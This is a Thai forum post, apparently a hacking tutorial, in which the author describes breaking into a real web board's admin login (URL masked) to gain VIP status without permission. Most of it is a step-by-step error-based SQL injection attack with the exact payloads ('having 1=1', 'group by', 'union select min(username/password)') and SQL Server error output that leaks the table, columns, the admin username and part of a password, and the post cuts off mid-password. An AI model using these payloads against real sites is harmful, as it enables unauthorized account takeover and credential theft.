เผอิญผมเข้าไปลงทะเบียนใช้งานเว็บบอร์ดอันนึง แต่ได้สิทธิ์เป็น user ธรรมดา แต่แล้วในใจผมเกิดมีความคิด(ที่ไม่ดี) อยาก upgrade

ตัวเองเป็น VIP User โดยไม่ต้อง post ข้อความตามที่เขากำหนด ก็เลยว่าน่าหาทางลัดด้วยการลอง hack user admin ดีกว่า

ผมเลยลอง crawl website นั้นและค้นพบว่าหน้า admin login ของเว็บบอร์ดนี้อยู่ที่

http://xxxx/admin/login.asp

แต่ทำยังไงดีผมไม่รูทั้ง username/password ของ admin จะให้ลอง brutefoce ก็คงใช้เวลานานและอาจจะโดนจับได้

ด้วยความอยากรู้อยากเห็นผมเลยลอง inject code ดูปรากฎว่า webboard นี้ไม่ได้ป้องกันไว้

อิอิ หวานหมูละ ที่นี้มาลอง sql injection เพื่อ hack user admin กันดีกว่า:

[hide=20]

1) ลองใส่ username = ' having 1=1 -- , password = .
พอกด submit ปุ๊บตัว app มันก็จะฟ้อง error กลัีบมาแบบนี้

Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'login.pwd' is invalid in the select list because it is not
contained in an aggregate function and there is no GROUP BY clause.
/admin/login.asp, line 27
เจ๋งไปเลย ที่นี่เราก็ได้ชื่อ table และ column มาแล้ว (login, pwd) เดินหน้า hack ต่อดีกว่า

3) ที่นี้ลองใส่ ' group by login.pwd having 1=1 -- พอกด enter ปุ๊ปก็จะได้

Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'login.username' is invalid in the select list because it is not
contained in either an aggregate function or the GROUP BY
clause.
/admin/login.asp, line 27
อะฮ้า ที่นี่เราได้ชื่อ column ที่เก็บ username มาแล้ว มาหา username ของ admin กันเถอะ

4) ที่นี้ลองใส่ ' union select min(username),1,1,1,1 from login where username > 'a'--
ถ้าไม่รู้ว่าตัวเลขคืออะไรลองไปอ่าน SQL ดูละกัน

Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'adminboard' to a column of data type int.
/admin/login.asp, line 27
ในที่สุดผมก็ได้ username ของ admin มาแล้วซึ่งก็คืออะไรดูเอาเองละกัน

ต่อไปก็ต้องหา password ให้เจอ!

5) 'union select min(password),1,1,1,1 from login where username = 'adminboard''--

[code]
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'arS%